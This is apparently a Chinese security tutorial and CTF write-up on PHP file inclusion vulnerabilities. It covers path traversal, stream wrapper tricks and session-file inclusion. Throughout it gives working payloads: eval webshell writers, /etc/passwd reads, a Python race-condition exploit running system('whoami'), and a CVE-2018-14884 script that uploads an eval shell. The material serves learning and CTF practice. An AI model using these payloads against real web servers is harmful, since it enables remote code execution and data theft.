文件包含作用函数:
require//包含过程中出现错误直接退出程序
include();//包含过程出现错误,抛出警告,程序继续运行
require_once();//包括require()的功能,但函数只包含一次
include_once();//包括include()的功能,但函数只包含一次
该函数用以加载另一个文件中的php代码,并且当php来执行
而漏洞产生的原因则是因为当函数中的参数未经过严格的过滤,且用户可控时,当用户包含了其它恶意文件代码,就导致执行了非预期操作
本地文件包含
无限制:
2.php代码:
<?php $a = $_GET['a']; include($a);?>
1.php代码:
<?php phpinfo();?>
可用于读取系统其它文件的内容
例如2.php?a=../../../../../../../etc/passwd
有限制:
2.php代码:
<?php $a = $_GET['a'];include($a.".html");?>
1.php代码:
<?php phpinfo();?>
绕过方法:
%00
截断,条件:magic_quotes_gpc
= Off
,php版本<5.3.4
路径长度截断,条件:php版本<5.2.8
windows OS –> 在文件后加点,点号需要长于256;linux OS –> 用./
,需长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
远程文件包含
无限制:
2.php代码:
<?php $a = $_GET['a']; include($a);?>
1.php代码:
<?php phpinfo();?>
有限制:
2.php代码:
<?php $a = $_GET['a'];include($a.".html");?>
1.php代码:
<?php phpinfo();?>
在末尾加上%3f
,%23
绕过
PHP支持的协议和封装协议
php://伪协议
条件
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
php://
访问各个输入/输出流(I/O streams),常使用php://filter
用于读取源码,php://input
用于执行php代码。
php://input
当enctype="multipart/form-data"
时php://input
无效
用法?file=php://input
,利用POST传入
利用php://input
写马(亦可命令执行):
2.php代码:
<?php $a = $_GET['a']; include($a);?>
要求:同时开启 allow_url_fopen
和 allow_url_include
(PHP < 5.3.0)即可造成任意代码执行
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
php://filter
使用
一种元封装器, 设计用于数据流打开时的筛选过滤应用。
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
可用的过滤器列表(4类)
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)php://input + [POST DATA]
执行php代码
演示
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
成功写马
string.strip_tags
方法
string.strip_tags:使用此过滤器等同于用 strip_tags()
函数处理所有的流数据。可以用两种格式接收参数:一种是和 strip_tags()
函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。
strip_tags():从字符串中去除 HTML 和 PHP 标记
ROT13方法
编码解码网站:https://cryptii.com/pipes/rot13-decoder
file://伪协议
条件
allow_url_fopen
:off/onallow_url_include
:off/on
用法
用于访问本地文件系统
- file://[文件的绝对路径和文件名]
a=file://D:/phpstudy/WWW/test/1.php
- [文件的相对路径和文件名]
a=./1.php
- [http://网络路径和文件名]
a=http://127.0.0.1/phpinfo.txt
演示
2.php代码:
<?php $a = $_GET['a']; include($a);?>
1.php代码:
<?php phpinfo();?>
data://伪协议
条件
allow_url_fopen
:onallow_url_include
:on
用法
自PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
data://text/plain;base64,
data://text/plain,
data:text/plain;base64,
data:text/plain,
演示
2.php代码:
<?php $a = $_GET['a']; include($a);?>
<?php phpinfo(); ===base64===> PD9waHAgcGhwaW5mbygpOw==
读取文件内容操作
<?php show_source('1.php'); ===base64===> PD9waHAgc2hvd19zb3VyY2UoJzEucGhwJyk7
phar://伪协议
用法:?a=phar://压缩包/内部文件 phar://xxx.png/shell.php
2.php代码:
<?php $a = $_GET['a']; include($a);?>
注意: PHP > =5.3.0
压缩包需要是zip
协议压缩,rar
不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤: 写一个一句话木马文件shell.php
,然后用zip
协议压缩为shell.zip
,然后将后缀改为png
等其他格式。
亦可写马
cmd=fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');
http:// & https:// 伪协议
条件
allow_url_fopen
:onallow_url_include
:on
用法
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com
zip:// & bzip2:// & zlib://伪协议
条件
allow_url_fopen
:off/onallow_url_include
:off/on
用法
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等。
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
演示
2.php代码:
<?php $a = $_GET['a']; include($a);?>
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
条件: PHP > =5.3.0, #在浏览器中要编码为%23
亦可与上面的一样就行写马操作
Session文件包含
LFI Session
index.php
<?php
$file = $_GET['file'];
include($file);
?>
session.php
<?php
session_start();
$name = $_POST['name'];
$_SESSION["name"] = $name;
?>
写session文件马:
包含session文件,成功命令执行
本地配置如下:
- session.auto_start:在php接收请求的时候自动初始化Session,不需要再执行
session_start()
,默认情况下关闭。 - session.save_path:Session存储的位置,我这里就是
D:\phpstudy\Extensions\tmp\tmp
。 - session.serialize_handler:
- php:一直都在(默认方式) 它是用 |分割。
- php_serialize :php5.5之后启用 它是用serialize反序列化格式分割。
- session.use_strict_mode:默认为0,用户可以自己定义
Session ID
。比如,我们在Cookie里设置PHPSESSID=flag
,PHP将会在服务器上创建一个文件:sess_flag
。 - session.upload_progress:php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。 而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。
- session.upload_progress.enabled:默认开启,表示
upload_progress
功能开始,php能在每一个文件上传时监测上传进度,这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。 - session.upload_progress.cleanup:默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
- session.upload_progress.prefix与session.upload_progress.name:当一个上传在处理中,同时POST一个与INI中设置的
session.upload_progress.name
变量同名(PHP_SESSION_UPLOAD_PROGRESS
)时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。 - session.upload_progress.freq **与session.upload_progress.min_freq**:选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
NO session_start()
在没有session_start()
的时候,就该利用5.4后的新功能upload_progress
来进行操作了
PHP_SESSION_UPLOAD_PROGRESS的官方手册
在session中部分数据(session.upload_progress.name
)是用户自己可以控制的。那么我们只需要在上传文件的过程中,在Cookie中设置PHPSESSID=flag(默认情况下用户可以自定义session ID),同时上传一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS
,只要上传包里带这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=flag,所以Session会自动创建,但是有一个session.upload_progress.cleanup
这个选项是默认开启的,此时就需要用条件竞争来利用。写脚本即可
exp:
import io
import sys
import requests
import threading
sessid = 'flag'
url = 'http://172.17.10.2:801/index.php'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
url,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('whoami');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{url}?file=../Extensions/tmp/tmp/sess_{sessid}')
if 'extrader' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
得到结果如下
当然也可以用burp的intruder模块进行操作
利用php7_Segment_Fault特性
CVE-2018-14884
使用
php://filter/string.strip_tags
导致php
崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file
就会一直留在tmp
目录,再进行文件名爆破就可以getshell
。这个崩溃原因是存在一处空指针引用。该方法仅适用于以下php7版本,php5并不存在该崩溃。
条件
php7.0.0-7.1.2
可以利用,7.1.2x
版本的已被修复php7.1.3-7.2.1
可以利用,7.2.1x
版本的已被修复php7.2.2-7.2.8
可以利用,7.2.9-∞
到现在的版本已被修复
Exp:
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[1]);?>"
#BytesIO(payload.encode()).getvalue()
data={
'file': BytesIO(payload.encode())
}
url="http://7b0dc85a-b370-4a5a-89ca-d2399fd4de31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=data,allow_redirects=False)
except:
print("fail!")
参考:[NPUCTF2020]ezinclude(PHP临时文件包含)
栗子
ZJCTF-2019-NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
file_get_contents
:将整个文件读入一个字符串
首先传入text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
绕过第一个if
然后传入file=php://filter/read=convert.base64-encode/resource=useless.php
读取useless.php
base64解码后代码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
随后再传入password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
,包含file=useless.php
即可得到flag
完整payload:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file=useless.php
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[BSidesCF 2020]Had a bad day
请求index.php?category=woofers'
时得到include
报错,并且include
会字符串后面加上一个.php
于是先用php://filter
协议读一下index.php
文件
php://filter/read=convert.base64-encode/resource=index
,解码得到入如下结果(舍去html元素)
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
include ($file . '.php');
}else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
要求category
必须携带woofers
或者meowers
才能进行include
操作,那么加上去就可以了
payload:php://filter/read=convert.base64-encode/resource=woofers/../flag
解码得到flag
网上还有一种说法就是php://filter
伪协议可以套一层协议,也就是这样
php://filter/read=convert.base64-encode/woofers/resource=flag
这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues